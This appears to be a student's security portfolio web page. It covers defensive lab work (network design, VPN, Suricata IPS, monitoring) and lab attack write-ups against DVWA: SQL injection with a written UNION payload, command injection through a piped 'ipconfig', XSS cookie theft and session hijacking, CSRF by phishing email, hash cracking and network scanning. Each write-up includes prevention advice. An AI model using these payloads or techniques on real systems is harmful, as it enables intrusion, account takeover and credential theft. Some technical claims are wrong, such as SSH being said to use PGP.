class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of 